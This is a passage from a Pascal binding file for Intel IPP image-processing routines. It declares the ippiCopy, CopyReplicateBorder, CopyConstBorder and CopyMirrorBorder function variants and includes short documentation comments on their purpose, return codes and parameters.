function ippiCopy_32s_AC4C3R( pSrc : Ipp32sPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_32s_C3AC4R( pSrc : Ipp32sPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_32s_C1R( pSrc : Ipp32sPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_32s_C3R( pSrc : Ipp32sPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_32s_C4R( pSrc : Ipp32sPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_32s_AC4R( pSrc : Ipp32sPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_32s_C1MR( pSrc : Ipp32sPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ; pMask : Ipp8uPtr ; maskStep : Int32 ): IppStatus; _ippapi
function ippiCopy_32s_C3MR( pSrc : Ipp32sPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ; pMask : Ipp8uPtr ; maskStep : Int32 ): IppStatus; _ippapi
function ippiCopy_32s_C4MR( pSrc : Ipp32sPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ; pMask : Ipp8uPtr ; maskStep : Int32 ): IppStatus; _ippapi
function ippiCopy_32s_AC4MR( pSrc : Ipp32sPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ; pMask : Ipp8uPtr ; maskStep : Int32 ): IppStatus; _ippapi
function ippiCopy_32s_C3P3R( pSrc : Ipp32sPtr ; srcStep : Int32 ; pDst : Ipp32s_3Ptr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_32s_P3C3R( pSrc : Ipp32s_3Ptr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_32s_C4P4R( pSrc : Ipp32sPtr ; srcStep : Int32 ; pDst : Ipp32s_4Ptr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_32s_P4C4R( pSrc : Ipp32s_4Ptr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_16u_C3C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_16u_C1C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_16u_C4C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_16u_C1C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_16u_C3CR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_16u_C4CR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_16u_AC4C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_16u_C3AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_16u_C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_16u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_16u_C1MR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pMask : Ipp8uPtr ; maskStep : Int32 ): IppStatus; _ippapi
function ippiCopy_16u_C3MR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pMask : Ipp8uPtr ; maskStep : Int32 ): IppStatus; _ippapi
function ippiCopy_16u_C4MR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pMask : Ipp8uPtr ; maskStep : Int32 ): IppStatus; _ippapi
function ippiCopy_16u_AC4MR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; pMask : Ipp8uPtr ; maskStep : Int32 ): IppStatus; _ippapi
function ippiCopy_16u_C3P3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16u_3Ptr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_16u_P3C3R( pSrc : Ipp16u_3Ptr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_16u_C4P4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16u_4Ptr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiCopy_16u_P4C4R( pSrc : Ipp16u_4Ptr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiCopyReplicateBorder
Purpose: Copies pixel values between two buffers and adds
the replicated border pixels.
Returns:
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr 1). srcRoiSize or dstRoiSize has a field with negative or zero value
2). topBorderHeight or leftBorderWidth is less than zero
3). dstRoiSize.width < srcRoiSize.width + leftBorderWidth
4). dstRoiSize.height < srcRoiSize.height + topBorderHeight
ippStsStepErr srcStep or dstStep is less than or equal to zero
ippStsNoErr OK
Parameters:
pSrc Pointer to the source image buffer
srcStep Step in bytes through the source image
pDst Pointer to the destination image buffer
dstStep Step in bytes through the destination image
scrRoiSize Size of the source ROI in pixels
dstRoiSize Size of the destination ROI in pixels
topBorderHeight Height of the top border in pixels
leftBorderWidth Width of the left border in pixels
}
function ippiCopyReplicateBorder_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ): IppStatus; _ippapi
function ippiCopyReplicateBorder_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ): IppStatus; _ippapi
function ippiCopyReplicateBorder_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ): IppStatus; _ippapi
function ippiCopyReplicateBorder_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ): IppStatus; _ippapi
function ippiCopyReplicateBorder_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ): IppStatus; _ippapi
function ippiCopyReplicateBorder_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ): IppStatus; _ippapi
function ippiCopyReplicateBorder_16s_AC4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ): IppStatus; _ippapi
function ippiCopyReplicateBorder_16s_C4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ): IppStatus; _ippapi
function ippiCopyReplicateBorder_32s_C1R( pSrc : Ipp32sPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp32sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ): IppStatus; _ippapi
function ippiCopyReplicateBorder_32s_C3R( pSrc : Ipp32sPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp32sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ): IppStatus; _ippapi
function ippiCopyReplicateBorder_32s_AC4R( pSrc : Ipp32sPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp32sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ): IppStatus; _ippapi
function ippiCopyReplicateBorder_32s_C4R( pSrc : Ipp32sPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp32sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ): IppStatus; _ippapi
function ippiCopyReplicateBorder_8u_C1IR( pSrc : Ipp8uPtr ; srcDstStep : Int32 ; srcRoiSize : IppiSize ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftborderwidth : Int32 ): IppStatus; _ippapi
function ippiCopyReplicateBorder_8u_C3IR( pSrc : Ipp8uPtr ; srcDstStep : Int32 ; srcRoiSize : IppiSize ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftborderwidth : Int32 ): IppStatus; _ippapi
function ippiCopyReplicateBorder_8u_AC4IR( pSrc : Ipp8uPtr ; srcDstStep : Int32 ; srcRoiSize : IppiSize ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftborderwidth : Int32 ): IppStatus; _ippapi
function ippiCopyReplicateBorder_8u_C4IR( pSrc : Ipp8uPtr ; srcDstStep : Int32 ; srcRoiSize : IppiSize ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftborderwidth : Int32 ): IppStatus; _ippapi
function ippiCopyReplicateBorder_16s_C1IR( pSrc : Ipp16sPtr ; srcDstStep : Int32 ; srcRoiSize : IppiSize ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftborderwidth : Int32 ): IppStatus; _ippapi
function ippiCopyReplicateBorder_16s_C3IR( pSrc : Ipp16sPtr ; srcDstStep : Int32 ; srcRoiSize : IppiSize ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftborderwidth : Int32 ): IppStatus; _ippapi
function ippiCopyReplicateBorder_16s_AC4IR( pSrc : Ipp16sPtr ; srcDstStep : Int32 ; srcRoiSize : IppiSize ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftborderwidth : Int32 ): IppStatus; _ippapi
function ippiCopyReplicateBorder_16s_C4IR( pSrc : Ipp16sPtr ; srcDstStep : Int32 ; srcRoiSize : IppiSize ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftborderwidth : Int32 ): IppStatus; _ippapi
function ippiCopyReplicateBorder_32s_C1IR( pSrc : Ipp32sPtr ; srcDstStep : Int32 ; srcRoiSize : IppiSize ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftborderwidth : Int32 ): IppStatus; _ippapi
function ippiCopyReplicateBorder_32s_C3IR( pSrc : Ipp32sPtr ; srcDstStep : Int32 ; srcRoiSize : IppiSize ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftborderwidth : Int32 ): IppStatus; _ippapi
function ippiCopyReplicateBorder_32s_AC4IR( pSrc : Ipp32sPtr ; srcDstStep : Int32 ; srcRoiSize : IppiSize ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftborderwidth : Int32 ): IppStatus; _ippapi
function ippiCopyReplicateBorder_32s_C4IR( pSrc : Ipp32sPtr ; srcDstStep : Int32 ; srcRoiSize : IppiSize ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftborderwidth : Int32 ): IppStatus; _ippapi
function ippiCopyReplicateBorder_16u_C1IR( pSrc : Ipp16uPtr ; srcDstStep : Int32 ; srcRoiSize : IppiSize ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftborderwidth : Int32 ): IppStatus; _ippapi
function ippiCopyReplicateBorder_16u_C3IR( pSrc : Ipp16uPtr ; srcDstStep : Int32 ; srcRoiSize : IppiSize ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftborderwidth : Int32 ): IppStatus; _ippapi
function ippiCopyReplicateBorder_16u_AC4IR( pSrc : Ipp16uPtr ; srcDstStep : Int32 ; srcRoiSize : IppiSize ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftborderwidth : Int32 ): IppStatus; _ippapi
function ippiCopyReplicateBorder_16u_C4IR( pSrc : Ipp16uPtr ; srcDstStep : Int32 ; srcRoiSize : IppiSize ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftborderwidth : Int32 ): IppStatus; _ippapi
function ippiCopyReplicateBorder_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ): IppStatus; _ippapi
function ippiCopyReplicateBorder_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ): IppStatus; _ippapi
function ippiCopyReplicateBorder_16u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ): IppStatus; _ippapi
function ippiCopyReplicateBorder_16u_C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ): IppStatus; _ippapi
function ippiCopyReplicateBorder_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ): IppStatus; _ippapi
function ippiCopyReplicateBorder_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ): IppStatus; _ippapi
function ippiCopyReplicateBorder_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ): IppStatus; _ippapi
function ippiCopyReplicateBorder_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ): IppStatus; _ippapi
function ippiCopyReplicateBorder_32f_C1IR( pSrc : Ipp32fPtr ; srcDstStep : Int32 ; srcRoiSize : IppiSize ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftborderwidth : Int32 ): IppStatus; _ippapi
function ippiCopyReplicateBorder_32f_C3IR( pSrc : Ipp32fPtr ; srcDstStep : Int32 ; srcRoiSize : IppiSize ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftborderwidth : Int32 ): IppStatus; _ippapi
function ippiCopyReplicateBorder_32f_AC4IR( pSrc : Ipp32fPtr ; srcDstStep : Int32 ; srcRoiSize : IppiSize ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftborderwidth : Int32 ): IppStatus; _ippapi
function ippiCopyReplicateBorder_32f_C4IR( pSrc : Ipp32fPtr ; srcDstStep : Int32 ; srcRoiSize : IppiSize ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftborderwidth : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiCopyConstBorder
Purpose: Copies pixel values between two buffers and adds
the border pixels with constant value.
Returns:
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr 1). srcRoiSize or dstRoiSize has a field with negative or zero value
2). topBorderHeight or leftBorderWidth is less than zero
3). dstRoiSize.width < srcRoiSize.width + leftBorderWidth
4). dstRoiSize.height < srcRoiSize.height + topBorderHeight
ippStsStepErr srcStep or dstStep is less than or equal to zero
ippStsNoErr OK
Parameters:
pSrc Pointer to the source image buffer
srcStep Step in bytes through the source image
pDst Pointer to the destination image buffer
dstStep Step in bytes through the destination image
srcRoiSize Size of the source ROI in pixels
dstRoiSize Size of the destination ROI in pixels
topBorderHeight Height of the top border in pixels
leftBorderWidth Width of the left border in pixels
value Constant value to assign to the border pixels
}
function ippiCopyConstBorder_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ; value : Ipp8u ): IppStatus; _ippapi
function ippiCopyConstBorder_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ; const value : Ipp8u_3 ): IppStatus; _ippapi
function ippiCopyConstBorder_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ; const value : Ipp8u_3 ): IppStatus; _ippapi
function ippiCopyConstBorder_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ; const value : Ipp8u_4 ): IppStatus; _ippapi
function ippiCopyConstBorder_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ; value : Ipp16s ): IppStatus; _ippapi
function ippiCopyConstBorder_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ; const value : Ipp16s_3 ): IppStatus; _ippapi
function ippiCopyConstBorder_16s_AC4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ; const value : Ipp16s_3 ): IppStatus; _ippapi
function ippiCopyConstBorder_16s_C4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ; const value : Ipp16s_4 ): IppStatus; _ippapi
function ippiCopyConstBorder_32s_C1R( pSrc : Ipp32sPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp32sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ; value : Ipp32s ): IppStatus; _ippapi
function ippiCopyConstBorder_32s_C3R( pSrc : Ipp32sPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp32sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ; const value : Ipp32s_3 ): IppStatus; _ippapi
function ippiCopyConstBorder_32s_AC4R( pSrc : Ipp32sPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp32sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ; const value : Ipp32s_3 ): IppStatus; _ippapi
function ippiCopyConstBorder_32s_C4R( pSrc : Ipp32sPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp32sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ; const value : Ipp32s_4 ): IppStatus; _ippapi
function ippiCopyConstBorder_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ; value : Ipp16u ): IppStatus; _ippapi
function ippiCopyConstBorder_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ; const value : Ipp16u_3 ): IppStatus; _ippapi
function ippiCopyConstBorder_16u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ; const value : Ipp16u_3 ): IppStatus; _ippapi
function ippiCopyConstBorder_16u_C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ; const value : Ipp16u_4 ): IppStatus; _ippapi
function ippiCopyConstBorder_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ; value : Ipp32f ): IppStatus; _ippapi
function ippiCopyConstBorder_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ; const value : Ipp32f_3 ): IppStatus; _ippapi
function ippiCopyConstBorder_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ; const value : Ipp32f_3 ): IppStatus; _ippapi
function ippiCopyConstBorder_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ; const value : Ipp32f_4 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiCopyMirrorBorder
Purpose: Copies pixel values between two buffers and adds
the mirror border pixels.
Returns:
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr 1). srcRoiSize or dstRoiSize has a field with negative or zero value
2). topBorderHeight or leftBorderWidth is less than zero
3). dstRoiSize.width < srcRoiSize.width + leftBorderWidth
4). dstRoiSize.height < srcRoiSize.height + topBorderHeight
ippStsStepErr srcStep or dstStep is less than or equal to zero
ippStsNoErr OK
Parameters:
pSrc Pointer to the source image buffer
srcStep Step in bytes through the source image
pDst Pointer to the destination image buffer
dstStep Step in bytes through the destination image
scrRoiSize Size of the source ROI in pixels
dstRoiSize Size of the destination ROI in pixels
topBorderHeight Height of the top border in pixels
leftBorderWidth Width of the left border in pixels
}
function ippiCopyMirrorBorder_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ): IppStatus; _ippapi
function ippiCopyMirrorBorder_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ): IppStatus; _ippapi
function ippiCopyMirrorBorder_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ): IppStatus; _ippapi
function ippiCopyMirrorBorder_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ): IppStatus; _ippapi
function ippiCopyMirrorBorder_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ): IppStatus; _ippapi
function ippiCopyMirrorBorder_16s_C4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ): IppStatus; _ippapi
function ippiCopyMirrorBorder_32s_C1R( pSrc : Ipp32sPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp32sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ): IppStatus; _ippapi
function ippiCopyMirrorBorder_32s_C3R( pSrc : Ipp32sPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp32sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ): IppStatus; _ippapi
function ippiCopyMirrorBorder_32s_C4R( pSrc : Ipp32sPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp32sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftBorderWidth : Int32 ): IppStatus; _ippapi
function ippiCopyMirrorBorder_8u_C1IR( pSrc : Ipp8uPtr ; srcDstStep : Int32 ; srcRoiSize : IppiSize ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftborderwidth : Int32 ): IppStatus; _ippapi
function ippiCopyMirrorBorder_8u_C3IR( pSrc : Ipp8uPtr ; srcDstStep : Int32 ; srcRoiSize : IppiSize ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftborderwidth : Int32 ): IppStatus; _ippapi
function ippiCopyMirrorBorder_8u_C4IR( pSrc : Ipp8uPtr ; srcDstStep : Int32 ; srcRoiSize : IppiSize ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftborderwidth : Int32 ): IppStatus; _ippapi
function ippiCopyMirrorBorder_16s_C1IR( pSrc : Ipp16sPtr ; srcDstStep : Int32 ; srcRoiSize : IppiSize ; dstRoiSize : IppiSize ; topBorderHeight : Int32 ; leftborderwidth : Int32 ): IppStatus; _ippapi
